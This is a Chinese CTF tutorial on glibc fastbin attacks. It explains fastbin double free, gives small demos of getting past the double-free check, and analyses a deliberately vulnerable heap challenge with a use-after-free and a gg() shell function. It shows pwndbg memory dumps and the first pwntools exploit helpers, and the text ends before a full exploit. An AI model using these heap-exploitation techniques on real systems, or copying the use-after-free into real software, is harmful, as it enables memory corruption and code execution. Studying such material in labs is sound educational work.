fastbin_attack综述 介绍 fastbin attack是指所有基于fastbin机制的漏洞利用方法。这类利用的前提是:
存在堆溢出、use-after-free等能控制chunk内容的漏洞
漏洞发生于fastbin类型的chunk中
如果细分的话,可以做如下的分类:
Fastbin Double Free
House of Spirit
Alloc to Stack
Arbitrary Alloc
其中,Fastbin Double Free和House of Spirit主要漏洞侧重于利用free函数释放真的chunk或伪造的chunk,然后再次申请chunk进行攻击,Alloc to Stack和Arbitrary Alloc侧重于故意修改fd指针,直接利用malloc申请指定位置chunk进行攻击。
原理 fastbin attack存在的原因在于fastbin是使用单链表来维护释放的堆块的,并且由fastbin管理的chunk 即使被释放,其next_chunk 的 prev_inuse位也不会被清空 。我们来看一下fastbin是怎样管理空闲chunk的。
size字段: P (PREV_INUSE ) :记录前一个chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的size字段的Р位都会被设置为1,以便于防止访问前面的非法内存。当一个 chunk的size的P位为0时,我们能通过prev_size字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲chunk 之间的合并。
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> int main (void ) { void *p1,*p2,*p3; p1 = malloc (0x30 ); p2 = malloc (0x30 ); p3 = malloc (0x30 ); free (p1); free (p2); free (p3); return 0 ; }
释放前
释放后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x602000 : 0 x0000000000000000 0 x0000000000000041 <==chunk10x602010 : 0 x0000000000000000 0 x0000000000000000 0x602020 : 0 x0000000000000000 0 x0000000000000000 0x602030 : 0 x0000000000000000 0 x0000000000000000 0x602040 : 0 x0000000000000000 0 x0000000000000041 <==chunk20x602050 : 0 x0000000000602000 0 x0000000000000000 0x602060 : 0 x0000000000000000 0 x0000000000000000 0x602070 : 0 x0000000000000000 0 x0000000000000000 0x602080 : 0 x0000000000000000 0 x0000000000000041 <==chunk30x602090 : 0 x0000000000602040 0 x0000000000000000 0x6020a0 : 0 x0000000000000000 0 x0000000000000000 0x6020b0 : 0 x0000000000000000 0 x0000000000000000 0x6020c0 : 0 x0000000000000000 0 x0000000000020f41 <==top chunk0x6020d0 : 0 x0000000000000000 0 x0000000000000000 0x6020e0 : 0 x0000000000000000 0 x0000000000000000
此时位于main_arena中的fastbin链表中已经储存了指向chunk3的指针,并且chunk 3、2、1构成了一个单链表
1 2 3 4 5 6 7 Fastbins[idx =2 , size =ox30 ,ptr =ex602080 ] ===>Chunk(fd =ex602040 , size =ex40 ,flags =PREV_INUSE) ===>Chunk(fd =ex6020ee , size =ex40 ,flags =PREV_INUSE) ===>Chunk(fd =exeeeeee , size =x40 ,flags =PREV_INUSE)
可以用上图表示这点。
fastbin_attack中的fastbin_double_free 简介 fastbin double free是fastbin_attack中的一种,顾名思义就是fastbin中的chunk可以多次释放,因此可以在fastbin单链表中可以存在多次。这样导致的后果是多次分配可以从fastbin链表中取出同一个堆块,相当于多个指针指向同一堆块,结合堆块中的数据内容可以实现类似于类型混淆(typeconfused)的效果。
Fastbin Double Free能够成功利用主要有两部分的原因
1. fastbin的堆块被释放后next_chunk的pre_inuse位不会被清空
2. fastbin在执行 free的时候仅验证了main_arena直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
当执行**free()操作时,glibc会检查fastbin链表的头部是否指向了将要释放的chunk,即检查是否两次 free()**了同一个chunk。如果检查到了这种情况,程序会抛出一个错误并终止。因此,不能通过直接free()
同一个chunk两次来进行double free。
但是,我们可以通过一些技巧来绕过这种检查。例如,我们可以先分配两个chunk,分别命名为chunk0和chunk1,然后按照以下顺序执行free()
操作:free(chunk0); free(chunk1); free(chunk0)
。这样就可以绕过上面的检查来进行double free。此时的fastbin链表应该如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 +------------+ | | | fastbinY | | | +-----+------+ | v +-----+------+ | | | chunk0 | | | +-----+------+ | v +-----+------+ | | | chunk1 | | | +------------+
在前面的free()
操作后,我们进行第一次malloc()
,就可以分配到chunk0。我们伪造一个fake chunk,往chunk0的数据段中写入fake chunk的地址,就可以将chunk0的fd指向fake chunk,即将fake chunk添加进了fastbin链表中。
然后再进行两次malloc()
操作,依次分配到chunk1和chunk0,最后再进行一次malloc()
操作时就可以分配到fake chunk。
演示 源码
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> int main (void ) { void *p1,*p2,*p3; p1 = malloc (0x30 ); p2 = malloc (0x30 ); free (p1); free (p1); return 0 ; }
运行程序,会出现下面这种情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 root@ubuntu:~/CTF-PWN/fastbin attack GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu" . Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help , type "help" . Type "apropos word" to search for commands related to "word" ... pwndbg: loaded 175 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase , $ida gdb functions (can be used with print /break) Reading symbols from test...done. pwndbg> r Starting program: /root/CTF-PWN/fastbin attack/test [Inferior 1 (process 93923) exited normally]
这正是_int_free函数检测到了fastbin的double free,但是修改一下代码再试试看
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> int main (void ) { void *p1,*p2,*p3; p1 = malloc (0x30 ); p2 = malloc (0x30 ); free (p1); free (p2); free (p1); return 0 ; }
查看一下bin
内存详细状况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x602000: 0x0000000000000000 0x0000000000000041 0x602010: 0x0000000000602040 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000041 0x602050: 0x0000000000602000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000020f81 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> x/30gx &main_arena 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000602000 0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602080 0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78 0x7ffff7dd1b90 <main_arena+112>: 0x00007ffff7dd1b78 0x00007ffff7dd1b88 0x7ffff7dd1ba0 <main_arena+128>: 0x00007ffff7dd1b88 0x00007ffff7dd1b98 0x7ffff7dd1bb0 <main_arena+144>: 0x00007ffff7dd1b98 0x00007ffff7dd1ba8 0x7ffff7dd1bc0 <main_arena+160>: 0x00007ffff7dd1ba8 0x00007ffff7dd1bb8 0x7ffff7dd1bd0 <main_arena+176>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bc8 0x7ffff7dd1be0 <main_arena+192>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bd8 0x7ffff7dd1bf0 <main_arena+208>: 0x00007ffff7dd1bd8 0x00007ffff7dd1be8 0x7ffff7dd1c00 <main_arena+224>: 0x00007ffff7dd1be8 0x00007ffff7dd1bf8
第一次释放free(p1)
第二次释放free(p2)
第三次释放free(1)
注意因为chunk1被再次释放,因此其fd的值不再为0而是指向chunk2(请仔细理解下这句话),这时如果我们可以控制chunk1的内容,便可以写入其fd指针从而实现在任意地址分配fastbin块。下面的这个示例就演示了一点,首先和前面一样构造如下图的链表,然后第一次调用malloc返回chunk1,之后修改chunk1的fd的指针指向bss段上的bss_chunk,之后我们可以看到fastbin会把堆块分配到
bss_chunk。
fastbin特性:
当程序需要重新malloc内存并且需要从fastbin中挑选堆块时,会选择后面新加入的堆块拿来先进行内存分配 。
例题 准备工作 系统环境和libc版本:
检查保护机制
程序源代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 #include <stdio.h> #include <unistd.h> #include <stdlib.h> char *link_list[10 ];void print_menu () ;int get_choice () ;void add_paper () ;void delete_paper () ;void secret () ;void get_input (char *buffer, int size, int no_should_fill_full) ;int get_num () ;void gg () ;int main () { setvbuf(stdout , 0 , 2 , 0 ); int choice; while (1 ){ print_menu(); choice = get_num(); switch (choice){ case 1 : add_paper(); break ; case 2 : delete_paper(); break ; case 3 : secret(); default : break ; } } printf ("thank you\n" ); } void gg () { system("/bin/sh\x00" ); } void secret () { long luck_num; printf ("enter your luck number:" ); scanf ("%ld" , &luck_num); puts ("Maybe you want continue manage paper?" ); int choice; while (1 ){ print_menu(); choice = get_num(); switch (choice){ case 1 : add_paper(); break ; case 2 : delete_paper(); break ; default : return ; } } printf ("thank you!" ); } void delete_paper () { int index; printf ("which paper you want to delete,please enter it's index(0-9):" ); scanf ("%d" , &index); if (index < 0 || index > 9 ) exit (1 ); free (link_list[index]); puts ("delete success !" ); } void add_paper () { int index; int length; printf ("Input the index you want to store(0-9):" ); scanf ("%d" , &index); if (index < 0 || index > 9 ) exit (1 ); printf ("How long you will enter:" ); scanf ("%d" , &length); if (length < 0 || length > 1024 ) exit (1 ); link_list[index] = malloc (length); if (link_list[index] == NULL ) exit (1 ); printf ("please enter your content:" ); get_input(link_list[index], length, 1 ); printf ("add success!\n" ); } void print_menu () { puts ("Welcome to use the paper management system!" ); puts ("1 add paper" ); puts ("2 delete paper" ); } void get_input (char *buffer, int size, int no_should_fill_full) { int index = 0 ; char *current_location; int current_input_size; while (1 ){ current_location = buffer+index; current_input_size = fread(buffer+index, 1 , 1 , stdin ); if (current_input_size <= 0 ) break ; if (*current_location == '\n' && no_should_fill_full){ if (index){ *current_location = 0 ; return ; } }else { index++; if (index >= size) break ; } } } int get_num () { int result; char input[48 ]; char *end_ptr; get_input(input, 48 , 1 ); result = strtol(input, &end_ptr, 0 ); if (input == end_ptr){ printf ("%s input is not start with number!\n" , input); result = get_num(); } return result; }
IDA静态分析 使用ida静态打开可执行文件,查看一下伪代码
main函数
程序功能界面
get_num函数
主要是用来程序功能的选择。
1、add_paper函数
这是增加paper的函数,需要注意的是申请的堆指针是存放在link_list数组中的,数组的起始地址为0x6020C0
2、delete_paper
这里在free堆块的内容之后,并没有将对应的link_list[delete_index]置空
(link_list[delete_index]=NULL),因此这里存在UAF漏洞。
3、secret
隐藏的功能函数,在菜单界面上没有显示出口,和前面的函数功能一样。
了解程序的内存分布 用pwndbg调试熟悉程序的内存分布
添加两个paper
chunk0: index=0; length=20; content=paper1
chunk1: index=1 ; length=25; content=paper2
看一下gdb信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x402000 r-xp 2000 0 0x601000 0x602000 r--p 1000 1000 0x602000 0x603000 rw-p 1000 2000 0x603000 0x624000 rw-p 21000 0 [heap] 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] pwndbg> bin fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> heap 0x603000 PREV_INUSE { prev_size = 0, size = 1041, fd = 0xa327265706170, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x603410 FASTBIN { prev_size = 0, size = 33, fd = 0x317265706170, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x31 } 0x603430 FASTBIN { prev_size = 0, size = 49, fd = 0x327265706170, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x603460 PREV_INUSE { prev_size = 0, size = 134049, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
看一下堆内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pwndbg> x/30gx 0x603410 0x603410: 0x0000000000000000 0x0000000000000021 ->>chunk0 0x603420: 0x0000317265706170 0x0000000000000000 0x603430: 0x0000000000000000 0x0000000000000031 ->>chunk1 0x603440: 0x0000327265706170 0x0000000000000000 0x603450: 0x0000000000000000 0x0000000000000000 0x603460: 0x0000000000000000 0x0000000000020ba1 ->>top chunk 0x603470: 0x0000000000000000 0x0000000000000000 0x603480: 0x0000000000000000 0x0000000000000000 0x603490: 0x0000000000000000 0x0000000000000000 0x6034a0: 0x0000000000000000 0x0000000000000000 0x6034b0: 0x0000000000000000 0x0000000000000000 0x6034c0: 0x0000000000000000 0x0000000000000000 0x6034d0: 0x0000000000000000 0x0000000000000000 0x6034e0: 0x0000000000000000 0x0000000000000000 0x6034f0: 0x0000000000000000 0x0000000000000000 pwndbg> x/30gx 0x603000 0x603000: 0x0000000000000000 0x0000000000000411 ->>程序申请的缓冲区 0x603010: 0x000a327265706170 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000000000 0x603030: 0x0000000000000000 0x0000000000000000 0x603040: 0x0000000000000000 0x0000000000000000 0x603050: 0x0000000000000000 0x0000000000000000 0x603060: 0x0000000000000000 0x0000000000000000 0x603070: 0x0000000000000000 0x0000000000000000 0x603080: 0x0000000000000000 0x0000000000000000 0x603090: 0x0000000000000000 0x0000000000000000 0x6030a0: 0x0000000000000000 0x0000000000000000 0x6030b0: 0x0000000000000000 0x0000000000000000 0x6030c0: 0x0000000000000000 0x0000000000000000 0x6030d0: 0x0000000000000000 0x0000000000000000 0x6030e0: 0x0000000000000000 0x0000000000000000
删除paper1 接下来删除申请对对都paper1(index=0,chun0):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 pwndbg> c Continuing. 2 which paper you want to delete,please enter it's index(0-9):0 delete success ! Welcome to use the paper management system! 1 add paper 2 delete paper ^C Program received signal SIGINT, Interrupt. 0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288 RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x400 RDI 0x0 RSI 0x603010 ◂— 0xa327265700a30 /* ' 0\nper2\n' */ R8 0x7ffff7dd3780 (_IO_stdfile_1_lock) ◂— 0x0 R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R10 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R11 0x246 R12 0x1 R13 0x1 R14 0x7fffffffde70 —▸ 0x7fffffffdf0a ◂— 0x40 /* ' @' */ R15 0x0 RBP 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887 RSP 0x7fffffffdda8 —▸ 0x7ffff7a875f8 (_IO_file_underflow+328) ◂— cmp rax, 0 RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff ────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff 0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399> ↓ 0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8] 0x7ffff7b043a0 <read+80> neg eax 0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax 0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff 0x7ffff7b043a9 <read+89> ret 0x7ffff7b043aa nop word ptr [rax + rax] 0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740> 0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9> ↓ 0x7ffff7b043c9 <write+25> sub rsp, 8 ────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdda8 —▸ 0x7ffff7a875f8 (_IO_file_underflow+328) ◂— cmp rax, 0 01:0008│ 0x7fffffffddb0 ◂— 0x0 02:0010│ 0x7fffffffddb8 —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288 03:0018│ 0x7fffffffddc0 ◂— 0x0 04:0020│ 0x7fffffffddc8 —▸ 0x7ffff7a86068 (__GI__IO_file_xsgetn+408) ◂— cmp eax, -1 05:0028│ 0x7fffffffddd0 —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288 06:0030│ 0x7fffffffddd8 ◂— 0x1 ... ↓ ──────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 7ffff7b04360 __read_nocancel+7 f 1 7ffff7a875f8 _IO_file_underflow+328 f 2 7ffff7a86068 __GI__IO_file_xsgetn+408 f 3 7ffff7a7b246 fread+150 f 4 400ba7 get_input+81 f 5 400c14 get_num+46 f 6 400907 main+58 f 7 7ffff7a2d840 __libc_start_main+240 Program received signal SIGINT pwndbg> bin fastbins 0x20: 0x603410 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
可以看到删除的paper1已经进入到fastbin中了
删除paper2 接下来释放chun1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 pwndbg> c Continuing. 2 which paper you want to delete,please enter it's index(0-9):1 delete success ! Welcome to use the paper management system! 1 add paper 2 delete paper ^C Program received signal SIGINT, Interrupt. 0x0000 7ffff7b0436 0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288 RCX 0x7ffff7b0436 0 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x400 RDI 0x0 RSI 0x603010 ◂— 0xa32726570 0a31 /* '1 \nper2\n' */ R8 0x7ffff7dd3780 (_IO_stdfile_1_lock) ◂— 0x0 R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R10 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R11 0x246 R12 0x1 R13 0x1 R14 0x7fffffffde70 —▸ 0x7fffffffdf0a ◂— 0x40 /* '@' */ R15 0x0 RBP 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887 RSP 0x7fffffffdda8 —▸ 0x7ffff7a875f8 (_IO_file_underflow+328) ◂— cmp rax, 0 RIP 0x7ffff7b0436 0 (__read_nocancel+7) ◂— cmp rax, -0xfff ────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x7ffff7b0436 0 <__read_nocancel+7> cmp rax, -0xfff 0x7ffff7b0436 6 <__read_nocancel+13> jae read+73 <0x7ffff7b0439 9> ↓ 0x7ffff7b0439 9 <read+73> mov rcx, qword ptr [rip + 0x2ccad8] 0x7ffff7b043a0 <read+80> neg eax 0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax 0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff 0x7ffff7b043a9 <read+89> ret 0x7ffff7b043aa nop word ptr [rax + rax] 0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389 ], 0 <0x7ffff7dd6740 > 0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9> ↓ 0x7ffff7b043c9 <write+25> sub rsp, 8 ────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000 │ rsp 0x7fffffffdda8 —▸ 0x7ffff7a875f8 (_IO_file_underflow+328) ◂— cmp rax, 0 01:0008 │ 0x7fffffffddb0 ◂— 0x0 02:0010 │ 0x7fffffffddb8 —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288 03:0018 │ 0x7fffffffddc0 ◂— 0x0 04:0020 │ 0x7fffffffddc8 —▸ 0x7ffff7a8606 8 (__GI__IO_file_xsgetn+408) ◂— cmp eax, -1 05:0028 │ 0x7fffffffddd0 —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288 06:0030 │ 0x7fffffffddd8 ◂— 0x1 ... ↓ ──────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 7ffff7b0436 0 __read_nocancel+7 f 1 7ffff7a875f8 _IO_file_underflow+328 f 2 7ffff7a8606 8 __GI__IO_file_xsgetn+408 f 3 7ffff7a7b246 fread+150 f 4 400ba7 get_input+81 f 5 400c14 get_num+46 f 6 400907 main+58 f 7 7ffff7a2d840 __libc_start_main+240 Program received signal SIGINT pwndbg> bin fastbins 0x20: 0x603410 ◂— 0x0 0x30: 0x603430 ◂— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
由于之前创建的两个堆块大小不同,所以在fastbin中并不是在同一链表中。
由于程序存在UAF漏洞,在chunk被释放后指针并没有被置空,因此程序存放的结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> x/30 gx 0x6020c0 0x6020c0 <link_list>: 0 x0000000000603420 0 x0000000000603440 0x6020d0 <link_list+16 >: 0 x0000000000000000 0 x0000000000000000 0x6020e0 <link_list+32 >: 0 x0000000000000000 0 x0000000000000000 0x6020f0 <link_list+48 >: 0 x0000000000000000 0 x0000000000000000 0x602100 <link_list+64 >: 0 x0000000000000000 0 x0000000000000000 0x602110 : 0 x0000000000000000 0 x0000000000000000 0x602120 : 0 x0000000000000000 0 x0000000000000000 0x602130 : 0 x0000000000000000 0 x0000000000000000 0x602140 : 0 x0000000000000000 0 x0000000000000000 0x602150 : 0 x0000000000000000 0 x0000000000000000 0x602160 : 0 x0000000000000000 0 x0000000000000000 0x602170 : 0 x0000000000000000 0 x0000000000000000 0x602180 : 0 x0000000000000000 0 x0000000000000000 0x602190 : 0 x0000000000000000 0 x0000000000000000 0x6021a0 : 0 x0000000000000000 0 x0000000000000000
控制程序的流程并getshell 模仿程序的功能 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def add_paper (size,index,content ): sh.recv() sh.sendline("1" ) sh.recv() sh.sendline(str (index)) sh.recv() sh.sendline(str (size)) sh.recv() sh.sendline(content) def delete_paper (index ): sh.recv() sh.sendline("2" ) sh.recv() sh.sendline(str (index))
创建两个堆块 1 2 add_paper(0x30 ,1 ,"paper1" ) add_paper(0x30 ,2 ,"paper2" )
这里创建了两个堆块,分别为chunk1和chunk2。看一下内存中的分布
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg > vmmapLEGEND : STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0 x402000 r-xp 2000 0 0x601000 0 x602000 r--p 1000 1000 0x602000 0 x603000 rw-p 1000 2000 0x1bbc000 0 x1bde000 rw-p 22000 0 [heap] 0x7f4cbfa7f000 0 x7f4cbfc3f000 r-xp 1 c0000 0 /lib/x86_64-linux-gnu/libc-2 .23 .so 0x7f4cbfc3f000 0 x7f4cbfe3f000 ---p 200000 1 c0000 /lib/x86_64-linux-gnu/libc-2 .23 .so 0x7f4cbfe3f000 0 x7f4cbfe43000 r--p 4000 1 c0000 /lib/x86_64-linux-gnu/libc-2 .23 .so 0x7f4cbfe43000 0 x7f4cbfe45000 rw-p 2000 1 c4000 /lib/x86_64-linux-gnu/libc-2 .23 .so 0x7f4cbfe45000 0 x7f4cbfe49000 rw-p 4000 0 0x7f4cbfe49000 0 x7f4cbfe6f000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2 .23 .so 0x7f4cc0053000 0 x7f4cc0056000 rw-p 3000 0 0x7f4cc006e000 0 x7f4cc006f000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2 .23 .so 0x7f4cc006f000 0 x7f4cc0070000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2 .23 .so 0x7f4cc0070000 0 x7f4cc0071000 rw-p 1000 0 0x7ffc9bd42000 0 x7ffc9bd63000 rw-p 21000 0 [stack] 0x7ffc9bdf6000 0 x7ffc9bdf9000 r--p 3000 0 [vvar] 0x7ffc9bdf9000 0 x7ffc9bdfb000 r-xp 2000 0 [vdso] 0xffffffffff600000 0 xffffffffff601000 r-xp 1000 0 [vsyscall]
用heap命令查看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pwndbg> heap 0x1bbc000 PREV_INUSE { prev_size = 0 , size = 4113 , fd = 0xa327265706170 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x1bbd010 FASTBIN { -->>chunk1 prev_size = 0 , size = 65 , fd = 0x317265706170 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x1bbd050 FASTBIN { -->>chunk2 prev_size = 0 , size = 65 , fd = 0x327265706170 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x1bbd090 PREV_INUSE { prev_size = 0 , size = 135025 , fd = 0x0 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 }
再看一下程序内存中的指针
